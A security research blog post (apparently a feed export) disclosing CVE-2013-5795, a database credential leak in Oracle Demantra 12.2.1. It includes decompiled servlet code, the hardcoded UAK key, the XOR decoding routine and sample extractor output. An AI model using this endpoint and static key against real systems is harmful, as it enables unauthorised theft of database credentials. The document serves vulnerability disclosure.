Portcullis Labs » CVE-2013-5795 https://labs.portcullis.co.uk Research and Development en-US hourly 1 http://wordpress.org/?v=3.8.5 CVE-2013-5795: Oracle Demantra database credentials leak vulnerability https://labs.portcullis.co.uk/blog/cve-2013-5795-oracle-demantra-database-credentials-leak-vulnerability/ https://labs.portcullis.co.uk/blog/cve-2013-5795-oracle-demantra-database-credentials-leak-vulnerability/#comments Thu, 20 Feb 2014 06:23:54 +0000 https://labs.portcullis.co.uk/?p=3089 The purpose of this post is to present a technical report of the CVE-2013-5795 vulnerability. This bug was found on a bug hunt weekend. Oracle Demantra is a demand management, sales & operations planning, and trade promotions management solutions, which was acquired by Oracle in 2006. It was curious to note no previously vulnerabilities had been identified, which made […]

The post CVE-2013-5795: Oracle Demantra database credentials leak vulnerability appeared first on Portcullis Labs.

]]>
The purpose of this post is to present a technical report of the CVE-2013-5795 vulnerability. This bug was found on a bug hunt weekend.

Oracle Demantra is a demand management, sales & operations planning, and trade promotions management solutions, which was acquired by Oracle in 2006. It was curious to note no previously vulnerabilities had been identified, which made this a very interesting candidate for research.

Vulnerable System:

  • Oracle Demantra 12.2.1

Vulnerability Description:

Demantra has a backend function that allows an administrator to retrieve the database instance name and the corresponding credentials.

The URL endpoint for this functionality is located at:

  • /demantra/ServerDetailsServlet

The initial function looks like this:

public void doGet(HttpServletRequest iRequest, HttpServletResponse ioResponse) throws ServletException, IOException {
	PrintWriter outWriter = null;
	String dbDetails = null;
	String msg = null;
	String uak = iRequest.getParameter("UAK");

	if(Logger.isDebugEnabled("appserver.configuration")) MessagesService.getPlatformMassage(40688, new Object[] { getClass().getName(), (new StringBuilder()).append("UAK=").append(uak).toString() });

	if(isValidUAK(uak)) {
		dbDetails = getDBParams();
		dbDetails = CryptographicService.encodeString(dbDetails);
		msg = MessagesService.getPlatformMassage(20176, new Object[] { dbDetails });
		if(Logger.isDebugEnabled("appserver.configuration")) Logger.log("appserver.configuration", msg);
			if(dbDetails != null) {
				outWriter = new PrintWriter(ioResponse.getOutputStream());
				outWriter.print(dbDetails);
				outWriter.flush();
			outWriter.close();
		} else {
			ioResponse.sendError(500, msg);
		}
	} else {
		ioResponse.sendError(403);
	}
}

We can see that a URL parameter named UAK is required. If the UAK string is correct then the database parameters are read and encrypted.

The getDBParams function looks like this:

private String getDBParams() {
	StringBuilder strBuilder = new StringBuilder();
	String dbName = null;
	String resStr = null;
	String msg = null;
	boolean isValid = true;

	if(JDBCConnectionPool.DBTypeId == 1) dbName = "orc";
		else dbName = CommonProp.DB_NAME;
	if(CommonProp.DB_USER == null || CommonProp.DB_USER.length() == 0) {
		isValid = false;
		msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_USER });
		Logger.warn(msg);
	}
	if(CommonProp.DB_PASSWORD == null || CommonProp.DB_PASSWORD.length() == 0) {
		isValid = false;
		msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_PASSWORD });
		Logger.warn(msg);
	}
	if(CommonProp.TNS_NAME == null || CommonProp.TNS_NAME.length() == 0) {
		isValid = false;
		msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_TNS_NAME });
		Logger.warn(msg);
	}
	if(dbName == null || dbName.length() == 0) {
		isValid = false;
		msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_NAME });
		Logger.warn(msg);
	}
	if(JDBCConnectionPool.DBTypeId < 1 || JDBCConnectionPool.DBTypeId > 2) {
		isValid = false;
		msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_TYPE });
		Logger.warn(msg);
	}
	if(isValid) {
		strBuilder.append(CommonProp.DB_USER);
		strBuilder.append("?");
		strBuilder.append(CommonProp.DB_PASSWORD);
		strBuilder.append("?");
		strBuilder.append(CommonProp.TNS_NAME);
		strBuilder.append("?");
		strBuilder.append(dbName);
		strBuilder.append("?");
		strBuilder.append(JDBCConnectionPool.DBTypeId);
		resStr = strBuilder.toString();
	}
	return resStr;
}

Now we need to see how UAK is calculated. The necessary function can be found in the following file:

  • WEB-INF/classes/com/demantra/applicationServer/metaDataObjects/user/SGEUser.class

Suprisingly, the UAK key is calculated statically:

private static String createJavaUAK() {
	String uak = null;

	try {
		String encryptedPassword = new String(CryptographicService.encodeHashStringHex("er6Us8wB", "SHA-256"));
		StringBuffer tmp = new StringBuffer("sge");
		tmp.append(0);
		tmp.append(encryptedPassword);
		uak = new String(CryptographicService.encodeHashStringHex(tmp.toString(), "SHA-256"));
	} catch(NoSuchAlgorithmException e) {
		Logger.error(e);
	}
	return uak;
}

When calculated, the UAK string will always be:

  • 406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1

The last step is to analyze how the dbDetails parameter encrypts the data, so that we can decrypt it correctly. The function looks like this:

public static String decodeString(String text) {
	if(text == null) return null;
	String ret = null;
	StringTokenizer strTokenizer = new StringTokenizer(text, ",");
	int size = strTokenizer.countTokens();
	byte bytes[] = new byte[size];
	for(int counter = 0; strTokenizer.hasMoreTokens(); counter++) {
		int a = Integer.parseInt(strTokenizer.nextToken());
		a ^= 0x50;
		bytes[counter] = (byte)a;
	}
	try {
		ret = new String(bytes, "UTF-8");
	} catch(Exception e) {
		e.printStackTrace();
	}
	return ret;
}

As we can see the method used to secure the data is a simple XOR algorithm.

Armed with those information it is possible to create a simple database credentials extractor:

$ java getUAK

-=[Oracle Demantra Database Details Retriever ]=-

[+] UAK Key is: 406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1
[+] Retrieved the following encrypted string:
4,21,3,4,111,36,53,35,36,111,52,53,61,49,62,36,34,49,111,63,34,51,111,97,
[+] Decrypted string is:
TEST?test?demantra?orc?1

Together with the authentication bypass this can be exploited unauthenticated as well.

Impact:

A remote attacker could exploit this issue in combination with other found issues, to extract the database credentials and instance name as an unauthenticated user, otherwise authentication is required.

Recommendation:

Please see the Oracle CPU for remediation:

The post CVE-2013-5795: Oracle Demantra database credentials leak vulnerability appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/cve-2013-5795-oracle-demantra-database-credentials-leak-vulnerability/feed/ 0